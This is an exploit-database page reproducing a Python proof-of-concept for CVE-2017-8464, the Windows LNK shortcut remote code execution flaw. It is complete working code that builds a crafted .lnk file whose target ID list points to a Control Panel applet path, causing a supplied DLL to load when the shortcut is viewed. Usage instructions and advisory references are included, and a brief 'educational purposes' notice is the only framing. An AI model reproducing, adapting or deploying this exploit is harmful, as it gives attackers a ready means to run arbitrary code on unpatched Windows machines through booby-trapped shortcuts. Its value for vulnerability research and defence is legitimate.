ExploitFixes
Microsoft Windows - LNK Shortcut File Code Execution 2017-08-06 20:05:01

#!/usr/bin/python
# -*- coding: utf-8 -*-

# Title : CVE-2017-8464 | LNK Remote Code Execution Vulnerability
# CVE : 2017-8464
# Authors : [ykoster, nixawk]
# Notice : Only for educational purposes.
# Support : python2

import struct


def generate_SHELL_LINK_HEADER():
# _________________________________________________________________
# | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
# |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
# -----------------------------------------------------------------
# | HeaderSize |
# -----------------------------------------------------------------
# | LinkCLSID (16 bytes) |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------
# | LinkFlags |
# -----------------------------------------------------------------
# | FileAttributes |
# -----------------------------------------------------------------
# | CreationTime |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------
# | AccessTime |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------
# | WriteTime |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------
# | FileSize |
# -----------------------------------------------------------------
# | IconIndex |
# -----------------------------------------------------------------
# | ShowCommand |
# -----------------------------------------------------------------
# | HotKey | Reserved1 |
# -----------------------------------------------------------------
# | Reserved2 |
# -----------------------------------------------------------------
# | Reserved3 |
# -----------------------------------------------------------------

shell_link_header = [
b'\x4c\x00\x00\x00', # "HeaderSize" : (4 bytes)
b'\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46', # "LinkCLSID" : (16 bytes) HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046}
b'\x81\x00\x00\x00', # "LinkFlags" : (4 bytes) 0x81 = 0b10000001 = HasLinkTargetIDList + IsUnicode
b'\x00\x00\x00\x00', # "FileAttributes" : (4 bytes)
b'\x00\x00\x00\x00\x00\x00\x00\x00', # "CreationTime" : (8 bytes)
b'\x00\x00\x00\x00\x00\x00\x00\x00', # "AccessTime" : (8 bytes)
b'\x00\x00\x00\x00\x00\x00\x00\x00', # "WriteTime" : (8 bytes)
b'\x00\x00\x00\x00', # "FileSize" : (4 bytes)
b'\x00\x00\x00\x00', # "IconIndex" : (4 bytes)
b'\x00\x00\x00\x00', # "ShowCommand" : (4 bytes)
b'\x00\x00', # "HotKey" : (2 bytes)
b'\x00\x00', # "Reserved1" : (2 bytes)
b'\x00\x00\x00\x00', # "Reserved2" : (4 bytes)
b'\x00\x00\x00\x00', # "Reserved3" : (4 bytes)
]

return b"".join(shell_link_header)


def generate_LINKTARGET_IDLIST(path, name):
# _________________________________________________________________
# | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
# |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
# -----------------------------------------------------------------
# | IDListSize | IDList(variable) |
# -----------------------------------------------------------------
# | ... |
# -----------------------------------------------------------------

# IDList = ItemID + ItemID + ... + TerminalID
# ItemID = ItemIDSize + Data

def generate_ItemID(Data):
itemid = [
struct.pack('H', len(Data) + 2), # ItemIDSize + len(Data)
Data
]
# ItemIDSize = struct.pack('H', len(Data) + 2) # ItemIDSize + len(Data)

# return ItemIDSize + Data

return b"".join(itemid)

def generate_cpl_applet(path, name=name):
name += b'\x00'
path += b'\x00'

bindata = [
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x00\x00\x00\x00\x00',
struct.pack('H', len(path)),
struct.pack('H', len(name)),
path.encode('utf-16')[2:],
name.encode('utf-16')[2:],
b"\x00\x00" # comment
]

return b"".join(bindata)

idlist = [
# ItemIDList

generate_ItemID(b'\x1f\x50\xe0\x4f\xd0\x20\xea\x3a\x69\x10\xa2\xd8\x08\x00\x2b\x30\x30\x9d'),
generate_ItemID(b'\x2e\x80\x20\x20\xec\x21\xea\x3a\x69\x10\xa2\xdd\x08\x00\x2b\x30\x30\x9d'),
generate_ItemID(generate_cpl_applet(path)),

b'\x00\x00', # TerminalID
]

idlist = b"".join(idlist)
idlistsize = struct.pack('H', len(idlist))

linktarget_idlist = [
idlistsize,
idlist,
]

return b"".join(linktarget_idlist)


def generate_EXTRA_DATA():
# ExtraData refers to a set of structures that convey additional information about a link target. These
# optional structures can be present in an extra data section that is appended to the basic Shell Link
# Binary File Format.

# EXTRA_DATA = *EXTRA_DATA_BLOCK TERMINAL_BLOCK

# EXTRA_DATA_BLOCK = CONSOLE_PROPS / CONSOLE_FE_PROPS / DARWIN_PROPS /
# ENVIRONMENT_PROPS / ICON_ENVIRONMENT_PROPS /
# KNOWN_FOLDER_PROPS / PROPERTY_STORE_PROPS /
# SHIM_PROPS / SPECIAL_FOLDER_PROPS /
# TRACKER_PROPS / VISTA_AND_ABOVE_IDLIST_PROPS

# SpecialFolderDataBlock

# _________________________________________________________________
# | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
# |0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|2|3|4|5|6|7|8|9|0|1|
# -----------------------------------------------------------------
# | BlockSize |
# -----------------------------------------------------------------
# | BlockSignatire |
# -----------------------------------------------------------------
# | SpecialFolderID |
# -----------------------------------------------------------------
# | Offset |
# -----------------------------------------------------------------

extra_data = [
b'\x10\x00\x00\x00',
b'\x05\x00\x00\xA0',
b'\x03\x00\x00\x00',
b'\x28\x00\x00\x00',
b'\x00\x00\x00\x00' # TERMINAL_BLOCK
]

return b"".join(extra_data)


def ms_shllink(path, name=b"Microsoft"):
'''build Shell Link (.LNK) Binary File Format'''

lnk_format = [

# Structures

# SHELL_LINK = SHELL_LINK_HEADER [LINKTARGET_IDLIST] [LINKINFO]
# [STRING_DATA] *EXTRA_DATA


# SHELL_LINK_HEADER:
# A ShelllinkHeader structure which contains identification information, timestamps, and
# flags that specify the presence of optional structures.

generate_SHELL_LINK_HEADER(),

# LINKTARGET_IDLIST:
# An optional LinkTargetIDList structure, which specifies the target of the link. The
# presence of this structure is specified by the HasLinkTargetIDList bit in the ShellLinkHeader.
#
#

generate_LINKTARGET_IDLIST(path, name),

# LINKINFO:
# An optional LinkInfo structure, which specifies information necessary to resolve the link target.
# The presence of this structure is specified by the HasLinkInfo bit in the ShellLinkHeader.

# STRING_DATA:
# Zero or more optional StringData structures, which are used to convey user interface and path
# identification information. The presence of these structures is specified by bits in the ShellLinkHeader.

# STRING_DATA = [NAME_STRING] [RELATIVE_PATH] [WORKING_DIR]
# [COMMAND_LINE_ARGUMENTS] [ICON_LOCATION]

# EXTRA_DATA:
# Zero or more ExtraData structures

generate_EXTRA_DATA()
]

return b"".join(lnk_format)


if __name__ == '__main__':
import sys

if len(sys.argv) != 3:
print("[*] Name : CVE-2017-8464 | LNK Remote Code Execution Vulnerability")
print("[*] Usage: %s </path/to/test.lnk> </path/to/test.dll>" % sys.argv[0])
sys.exit(0)

lnkpath = sys.argv[1]
dllpath = sys.argv[2]

bindata = ms_shllink(path=dllpath)

with open(lnkpath, 'wb') as lnkf:
lnkf.write(bindata)


## References

# 1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464
# 2. https://msdn.microsoft.com/en-us/library/dd871305.aspx
# 3. https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-SHLLINK/[MS-SHLLINK]-160714.pdf
# 4. https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
# 5. https://support.microsoft.com/en-us/help/149648/description-of-control-panel--cpl-files
# 6. https://twitter.com/mkolsek/status/877499744704237568
# 7. https://community.saas.hpe.com/t5/Security-Research/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/251257#.WXi4uNPys6g
# 8. https://github.com/rapid7/metasploit-framework/pull/8767